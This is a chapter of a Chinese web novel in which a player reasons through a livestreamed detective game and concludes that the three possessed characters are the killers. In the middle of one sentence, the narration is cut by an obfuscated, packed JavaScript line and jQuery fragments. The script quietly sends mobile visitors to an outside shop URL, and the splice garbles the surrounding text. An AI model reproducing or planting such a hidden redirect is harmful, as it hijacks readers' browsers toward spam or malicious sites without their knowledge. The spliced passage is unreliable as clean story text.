Chapter22TheDevilKillerintheSchool
22.1
——约会（dating）。
这个词说出来，评论区一片哗然：“什么，怎么可能？警探翰普顿和法医克拉克，他们怎么可能在约会？”
“为什么不可能？”Francisca的目光扫过众说纷纭的评论区，“警员吉恩表现得非常明显：在审讯室外面，她有些促狭地向警探沙伦·翰普顿挤挤眼睛，说克拉克博士长得好，风评也不错，看起来是个很好的伴侣人选。”
Francisca说着，耸耸肩，“玩家附身到这三个人身上才短短一天不到，而警员吉恩却和警探翰普顿却在同一个片区工作很久了。如果警探翰普顿和法医克拉克博士之间素不相识，我想，警员吉恩不会开这么大胆的玩笑。”
评论区有人恍然大悟：“是啊，警员吉恩是疯了，才会随便用这种罗曼蒂克的关系打趣调侃比自己更高一级的警探。”
Francisca点点头：“警员吉恩和警探翰普顿谈起她和克拉克博士的浪漫关系时，两个人的态度都极其自然——不，我产生怀疑的时候，比这更早。”
她偏了一下头，像是在回忆案件的时间线：“早在案发现场的祷告室，当扮演法医的玩家和警员吉恩说：能让我们单独聊聊吗？那时候，警员吉恩的态度就初露端倪了。”
那时候，年轻的警员看看Francisca，又看看法医，像是领悟到了什么，眨眨眼睛，识趣地说道：“我先去收集其他人的供词。”
Francisca说：“对于警探和法医之间的有浪漫倾向的私交，警员并没有流露出任何疑惑或惊讶，还很体贴、识趣，像是直接默认了。这说明，警探和法医之间的私人关系并不让他们身边的人惊讶。”
顿了顿，Francisca重复道：“审讯室，祷告室，警员吉恩不变的态度只能说明一件事，那就是：警探翰普顿与法医克拉克博士两个人之间，在游戏玩家到来之前，本身就存在浪漫关系。”
评论区飞速地回想起来了：“对，警探翰普顿的通讯联系人里确实有一个‘Bae（宝贝）’。只是没人想到，那就是法医凯文·卡拉克。”
“警探和法医在约会。”Francisca说，“这一点，因为玩家没有他们原本的记忆，而玩家之间又存在天然的敌对关系，所以，这些身份之间的关系就被完全地忽略了。”
这样说，她微微摇头：“而我的第五点疑问，和第四点几乎相同。那就是，”
她指指自己，又指指另一个方向：“既然警探和法医这两个固定身份之间，有玩家未知的联系，那么，警探和安保之间呢？”
直播间的评论区愣了一下，随即，大量的猜想开始随着Francisca的推理展开：
“是啊，既然警探和法医之间关系亲近，警探和安保之间，也有可能存在联系。”
“我想起来了，警探的手机壁纸是两个黑人女性在academy（警校学院）的逆光背影合照！那个写着‘ForJustice’（为了正义）的手机壁纸，对吧？”
“对，对，两个人勾着肩膀，看起来是很亲密的朋友。两个人的身材都很健硕。”
Francisca看见评论区关注到警探翰普顿的手机壁纸，赞同地点点头：“对，我想说的就是这个。看到背影合照的时候，我心中的疑惑一闪而过——”
她一摊手：“在唐卡斯特本地，用家人、朋友、宠物做手机壁纸非常普遍，比如第一个案子《谁杀了那个男大学生》里的警探布朗尼，就是用一家人的正面合照。”
评论区明白她的意思：“一般来说，这种照片都是正面合照，但是，为什么警探选择了这张背影？为什么没有正面？”
“是啊。”Francisca说，“这一点算是我的推测吧，可能证据不确凿。但我猜想，背影合照中的这个朋友对警探翰普顿很重要，但是也许，警探翰普顿不想让别人知道这个朋友的身份，不想让人知道她和这个人之间的联系。”
评论区已经彻底明白她的意思：“安保也是黑人女性，身材健硕，有没有可能，警探和安保之间，也互相认识？”
Francisca笑笑：“案件的第四点，第五点，都指向同一件事：那就是，玩家附身的人物之间的特殊关系，因为玩家之间的天然敌对位置，常常被忽略了。”
评论区里，赞同她的声音占了多数：“三位玩家附身的三个NPC，其实互相之间具有非常紧密、亲密的联系，但这种联系因为玩家没有NPC的记忆，所以就被玩家之间的竞争关系掩盖了。”
Francisca点点头：“我猜想，这就是这场游戏的主要诡计了。那么，我反过来想，如果三个玩家是同一阵营，很多疑点，就解释得清了：比如我的第六点疑惑，丹尼·沃特。”
丹尼·沃特是Francisca第一位问询的、神神秘秘的小学生。
他对Francisca说的第一句话是：“特纳先生是被魔鬼杀死的。”
后来，他又说：“特纳先生是被魔鬼杀死的。魔鬼进到了他们的身体里。凶手被魔鬼夺取了灵魂，魔鬼拿走了他们的灵魂。”
Francisca说：“一开始，我想，丹尼·沃特是发现案发现场的人。我怀疑他在案发现场看到了凶手，或者至少看到了什么东西，但是他没有说。”
顿了顿，Francisca说：“但是，后来，我又想：如果丹尼·沃特已经说出了真话呢？”
——特纳先生是被魔鬼杀死的。
——魔鬼进到了他们的身体里。
——凶手被魔鬼夺取了灵魂，魔鬼拿走了他们的灵魂。
“包括副校长、公关人员和丹尼的双亲，所有人都以为，丹尼口中的‘魔鬼’，指的是詹姆斯·特纳的罪行与他所应得的报应。毕竟，那位受害者安迪，是第一个这样传言的人。”
Francisca说着，声音低了低：“但是，如果不是呢？如果这个‘魔鬼’，指的就是丹尼当晚看见的、杀死詹姆斯·特纳的凶手呢？”
她说到这里，用手指指了一下自己：“魔鬼进到了他们的身体里，凶手被魔鬼夺取了灵魂，这非常符合‘玩家附身’这个现象。”
评论区带着答案反推，许多人恍然大悟：“是的，这非常符合玩家附身NPC的现象。如果玩家附身的人物就是凶手，而小学生丹尼看见了这些人的行凶，然而第二天，这些凶手全都性格大变，连自己的行凶也不记得了，还在寻找真凶，小学生认为他们被魔鬼附身了，也是正常的。”
Francisca牵了牵嘴角：“丹尼在说出那些有关
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17672435|207072||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
‘魔鬼’的话时，一直盯着我，也就是盯着警探翰普顿。他一眼也没有看警员吉恩。这就仿佛，他认出了我，认出了警探翰普顿。”
评论区完全明白：“如果玩家附身的NPC就是凶手，这就说得通了。”
“对。”Francisca说，“如果三个玩家是同一阵营的凶手，我的六个疑点，就都说得通了。”
随着她的声音落下，游戏的纯白色空间里，一行一行的推理列举总结已经出现：
第一，这场游戏出现了特殊情况，《探案游戏直播》才会让玩家附身到负责案件的警探NPC身上。
第二，在没有明确选项的题目里，凶手也有可能被玩家附身。
第三，这场游戏一定是三个玩家，并且一定是固定在警探、法医、安保这三个视角，这也许就是这场游戏的主要诡计。
第四，警探翰普顿与法医克拉克博士两个人之间，在游戏玩家到来之前，本身就存在浪漫关系。
第五，由第四推断，警探和安保之间也有可能互相认识。三位玩家附身的三个NPC，其实互相之间具有非常紧密、亲密的联系，但这种联系因为玩家没有NPC的记忆，所以就被玩家之间的敌对与竞争关系掩盖了。
第六，小学生丹尼口中的“凶手被魔鬼夺取了灵魂”，非常符合玩家附身NPC这个现象。
Francisca望着被罗列出来的推理过程，神情复杂地笑了一下：“一切都说得通了，如果三个玩家是同一阵营的凶手，很多证据都很容易被掩盖或扭曲：
“警探可以故意将疑犯名单锁定在14个有复仇动机的家属身上；
“法医可以模糊死者的死亡时间，所有人的不在场证明都不作数了；
“而安保删除了现场的所有监控录像。在夜班值班的这一天，安保玛利亚·杰弗森有着充足的时间毁掉硬盘。她本来就拥有进入监控室的权限。”
Francisca不紧不慢地罗列出了自己的推理依据，评论区的大部分人也被说服了：
“对啊，还有被毁掉的监控录像。我差点忘记了这件事。”
“我还怀疑是那个副校长呢。那个监控室的人说，副校长的办公室里也留了一把备用钥匙。我还以为这是线索。”
“那个监控室的人也说，白班的安保和夜班的安保都有进入的权限。玛利亚·杰弗森作为安保的一员，进出监控室太容易了。”
“真是简单的道理啊，我怎么没想到呢？”
“得到答案之后再反推，当然简单了。玩家Francisca不指出来，谁也没怀疑玩家们的身份啊。”
“真是的，这个案子简直是《探案游戏直播》用诡计制造出来的难度。”
“《探案游戏直播》本来就是游戏嘛，游戏就是要以奇巧的体验为主啊。要我说，设计这场游戏的人很厉害。”
“我也很喜欢这场！前面有关魔鬼复仇的恐怖画面看得很刺激，后面玩家的推理也很有趣！”
“……”
直播间的评论众说纷纭，许多人都在兴奋地讨论着这场游戏，白色面板上的文字在Francisca面前飞速地跳动。
而Francisca不再关注直播间的评论。
面对着纯白色的空间，她直截了当地说：“这就是我的推理过程。我能得到多少奖励的积分？”